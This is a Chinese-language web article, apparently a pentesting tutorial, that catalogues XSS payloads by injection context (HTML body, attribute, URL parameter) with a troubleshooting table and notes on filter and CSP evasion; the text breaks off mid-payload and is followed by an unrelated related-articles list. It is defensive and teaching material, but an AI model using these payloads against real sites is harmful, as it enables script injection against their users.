首页/新闻资讯/正文详情

各类型 XSS 漏洞 payload 总结(结尾附:payload 速查表)

发布时间:2026/11/5 5:35:09 来源:云帆数科 栏目:资讯中心
各类型 XSS 漏洞 payload 总结(结尾附:payload 速查表)
本文整理的 payload 仅用于授权范围内的安全测试、靶场练习与防御加固。一、问题:为什么 payload 不执行这是最该先看的一节。下面这张表覆盖了 90% 的"打了没反应":现象根因对策页面里能看到 payload 原文输出被 HTML 实体编码(lt;gt;)说明这一层有编码,换上下文找未编码点,或找解码后再拼接的位置标签在 DOM 里,但事件不触发元素经innerHTML插入,script永远不执行改用事件型标签(img onerror、svg onload)标签被吞掉WAF/过滤器删了标签名或on*属性走第六节的绕过表弹窗被拦,控制台报 CSPContent-Security-Policy禁止内联脚本见第七节明明有 XSS,alert就是不弹alert关键字被过滤,或alert被页面重写换confirm/prompt/print/ 自定义函数payload 进页面就变形中间有二次编码/解码试双 URL 编码、HTML 实体、Unicode第一原则:先确定注入点落在哪种上下文,再选 payload。上下文只有这几种:HTML 正文(div这里/div)HTML 属性值(input value="这里",分双引号/单引号/无引号)href/src/action等 URL 属性script块内部(JS 字符串、JS 代码)JSON / 模板 / CSS 里二、反射型 XSS反射型:payload 随请求进、随响应出,不落库。特点是一次一跳,通常要把 URL 发给受害者。2.1 输入框 / 搜索框(HTML 正文上下文)最基础的一组,适用于搜索结果的"你搜索了:xxx"这类直接回显:scriptalert(1)/script"scriptalert(1)/script'scriptalert(1)/script属性上下文闭合(回显点在value="..."里):"scriptalert(1)/script" autofocus onfocus="alert(1) " onmouseover="alert(1)事件型标签(script被过滤时的主力,也是 innerHTML 场景唯一能用的):imgsrc=1onerror=alert(1)imgsrc=xonerror=alert(document.domain)svgonload=alert(1)svg/onload=alert(1)detailsopenontoggle=alert(1)inputautofocusonfocus=alert(1)bodyonload=alert(1)videosourceonerror=alert(1)marqueeonstart=alert(1)iframesrcdoc="scriptalert(1)/script"objectdata="javascript:alert(1)"每个标签的触发条件不一样,这是选型的依据:payload触发条件备注svg onload=alert(1)元素插入即触发通用性最好img src=1 onerror=alert(1)图片加载失败需要src无效details open ontoggle=alert(1)open属性变化经 innerHTML 插入时不稳定,可能不触发input autofocus onfocus=alert(1)自动聚焦需autofocusbody onload=...文档加载完只在能注入到 body 标签内时有效marquee onstart=...跑马灯开始老标签,但可用关于details open ontoggle:这是网上传播最广的 payload 之一,但它在"字符串拼接进innerHTML"的场景里是否触发,取决于浏览器是否为初次渲染补发toggle事件。实测同一份代码、同一 payload,重复执行有明显的不稳定。调试时遇到"有时弹有时不弹",先换svg onload排除这个变量。2.2 URL 参数回显到 HTML 正文:?keyword=scriptalert(1)/script ?keyword="svg onload=alert(1) ?q=img src=x onerror=alert(1)URL 编码后(很多 WAF 只做一次解码):?q=%3Cscript%

相关推荐

爬虫代理IP哪家好?六类采集场景的服务商适配对照
爬虫代理IP哪家好?六类采集场景的服务商适配对照

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/5 5:35:09

macOS FSKit 解析:新一代 NTFS 读写方案,告别关闭 SIP 与 KEXT 内核驱动
macOS FSKit 解析:新一代 NTFS 读写方案,告别关闭 SIP 与 KEXT 内核驱动

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/5 5:35:09

国产开源端侧四强横评:Yi-3、MiniCPM5、Spark-X2.5、M3-mini 谁该塞进你的手机?
国产开源端侧四强横评:Yi-3、MiniCPM5、Spark-X2.5、M3-mini 谁该塞进你的手机?

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/5 5:35:09

LoRA 训练数据集怎么准备才好用?Fizgig AI 标注、人脸裁剪与外观一致性过滤器 7 大技巧
LoRA 训练数据集怎么准备才好用?Fizgig AI 标注、人脸裁剪与外观一致性过滤器 7 大技巧

【免费下载链接】Fizgig Fizgig — LoRA & Fine-tune Studio for Klein 9B, Krea 2, MiniMax H3, Qwen Image 2.1, Anima & Z-Image Turbo and Ace-Step XL: train, fine-tune, profile, repair and extract LoRAs & LoKR for Image, Video & Music Models 项目… · 2026/11/5 8:47:35

如何用一个仓库补齐你的 Android 技术栈?android-tech-frontier 译文库完全指南
如何用一个仓库补齐你的 Android 技术栈?android-tech-frontier 译文库完全指南

如何用一个仓库补齐你的 Android 技术栈?android-tech-frontier 译文库完全指南 【免费下载链接】android-tech-frontier 【停止维护】一个定期翻译国外Android优质的技术、开源库、软件架构设计、测试等文章的开源项目 项目地址: https://gitcode.com/gh_mirrors… · 2026/11/5 8:46:35

【Java基础知识】方法与注释
【Java基础知识】方法与注释

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/5 8:43:30

【Java基础知识】进制转换
【Java基础知识】进制转换

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/5 8:43:30

【Java基础知识】字面量与变量
【Java基础知识】字面量与变量

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/5 8:43:30

kafka--基础知识点--0
kafka--基础知识点--0

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/5 8:43:30

双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 3:16:49

STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 6:59:29

DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 7:02:38

多智能体协作系统架构设计与实践优化
多智能体协作系统架构设计与实践优化

1. 多智能体协作系统的时代背景2017年Transformer架构的诞生彻底改变了人工智能的发展轨迹。当行业还沉浸在单一大模型带来的性能突破时,Anthropic的研究团队已经将目光投向了更前沿的领域——如何让多个智能体通过协作产生超越单体能力的系统智能。这就像交响乐团中… · 2026/11/5 0:00:39

大模型系统性入门实战指南:从原理到部署微调的全链路路线
大模型系统性入门实战指南:从原理到部署微调的全链路路线

提到大模型的系统性入门,我先说个结论:这事真不难,难的是资料太散、路线太多,今天这个框架明天那个工具,新人很容易在“收藏夹吃灰”和“教程看到一半放弃”之间反复横跳。市面上关于大模型的内容少说有几十万篇&#… · 2026/11/5 0:00:39

鸿蒙文件系统沙箱机制解析与开发实践
鸿蒙文件系统沙箱机制解析与开发实践

1. 鸿蒙文件系统沙箱机制深度解析作为一名从Android转向鸿蒙开发的工程师,我深刻体会到文件系统访问是迁移过程中最先遇到的"拦路虎"。在Android上运行良好的文件读写代码,在鸿蒙真机环境却频频出现文件写入后神秘消失或直接抛出权限拒绝错误的… · 2026/11/5 0:00:39

双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 3:16:49

STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 6:59:29

DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 7:02:38

了解更多?预约专属演示

我们的顾问将为您一对一讲解产品与方案

企业微信二维码